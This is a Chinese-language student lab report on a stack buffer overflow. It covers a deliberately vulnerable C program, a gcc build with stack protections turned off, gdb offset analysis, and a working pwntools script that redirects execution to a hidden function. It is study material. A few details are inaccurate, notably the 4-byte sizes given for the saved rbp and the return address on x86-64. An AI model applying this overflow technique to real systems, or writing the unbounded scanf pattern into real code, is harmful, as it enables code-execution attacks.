实验3:栈溢出

1. 实验条件

  • Linux虚拟机(Kali)

  • 源文件(stack22.c)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #include<stdio.h>
    #include<string.h>
    int hackhere(){
    printf("Congratulations! You hacked me now.\n");
    }

    int foo(){
    printf("Wrong username!\n");
    }

    int main(){
    char num[14];
    char username[14];
    printf("Give me your username:\n");
    scanf("%s",username);
    if(strlen(username)==4 && !strcmp(username,"admin")){
    hackhere();
    }
    else{
    foo();
    }
    }

2. 实验原理

        通过向已申请好的定长数组中,利用scanf函数输入过长的字符串导致覆盖返回地址,从而令程序跳转到其他函数进行执行。

3. 实验要求

  1. 提交漏洞pwntools利用脚本.py格式,说明pwntools利用脚本的功能含义。
  2. 通过gdb调试,详细截图说明漏洞利用栈溢出的过程。
  3. 提交成功执行hackhere函数显示Congratulations! You hacked me now.结果截图。
  4. 采用屏幕截图,需要添加自己姓名的水印信息。

4. 实验步骤

  1. stack22.c进行编译,并关闭栈保护、NX保护和编译器地址随机化保护。

    1
    gcc stack22.c -o stack22 -m64 -fno-stack-protector -no-pie -z execstack

            -fno-stack-protector为关闭Canary保护,确保栈溢出可执行,-z execstack为打开栈的可执行权限,-no-pie关闭编译器地址随机化,-o表示输出源文件的名称。

  2. 利用checksec工具来验证保护机制是否关闭,并可以得知其为64位小端存储。

    1
    checksec --file=stack22

  3. 将生成的执行文件stack22拖入64位的idea中,反编译查看其结构。

    可以看到其若想通过正常的代码执行跳到hackhere函数中是不可能的,但是可以利用scanf存入的定长字符串造成溢出,从而跳转到hackhere函数地址。

  4. 利用gdb查看hackhere函数的地址。

    1
    2
    gdb stack22
    disass hackhere

    获取到hackhere函数地址为0x401152

  5. b main在main函数处设置断点,gdb动态调试查看其数组存储位置,输入r开始调试,一直输入n步过,直到scanf处输入字符串,向其中输入deadbeef

  6. stack 50查看deadbeef在栈中存储情况。

            可以看到beef存储地址位置为0x7fffffffdea8,但是缺少dead的存储,可以猜测其实存在上面的地址中,并占据了4字节的长度。因此字符串存储的起始位置为0x7fffffffdea4,终止位置为0x7fffffffdebf,后面接了4字节的rbp回调地址,之后的4字节长度为返回地址,因此需要将此处的地址溢出覆盖为hackhere的地址即可实现调用hackhere。

  7. 编写python脚本。

    1
    2
    3
    4
    5
    6
    7
    8
    from pwn import *

    p = process('./stack22')
    hackhere_addr = 0x401152
    payload = b'A' * 36 + p64(hackhere_addr)
    p.recv()
    p.sendline(payload)
    p.interactive()
    • b'A' * 36:通过之前分析,需要将字符串溢出到返回地址,因此由0xdec8 - 0xdea4得到需要填充的字符数量。只要再将hackhere函数地址填在后方即可实现跳转。
    • p64():将数字转化为64位的字符表示形式。
    • p.recv():可以接收程序输出的内容。
    • p.sendline():向程序中输入内容。
    • p.interactive():实现与程序交互。
  8. 运行脚本,查看结果。

5. 实验总结

        此次实验相交于上一个ROP实验来说较为简单,但是之前存在一直没有做通的情况,其实是因为没有关闭PIE保护机制,而在Ubuntu中默认是关闭的,所以导致实验一直不能获取真实地址。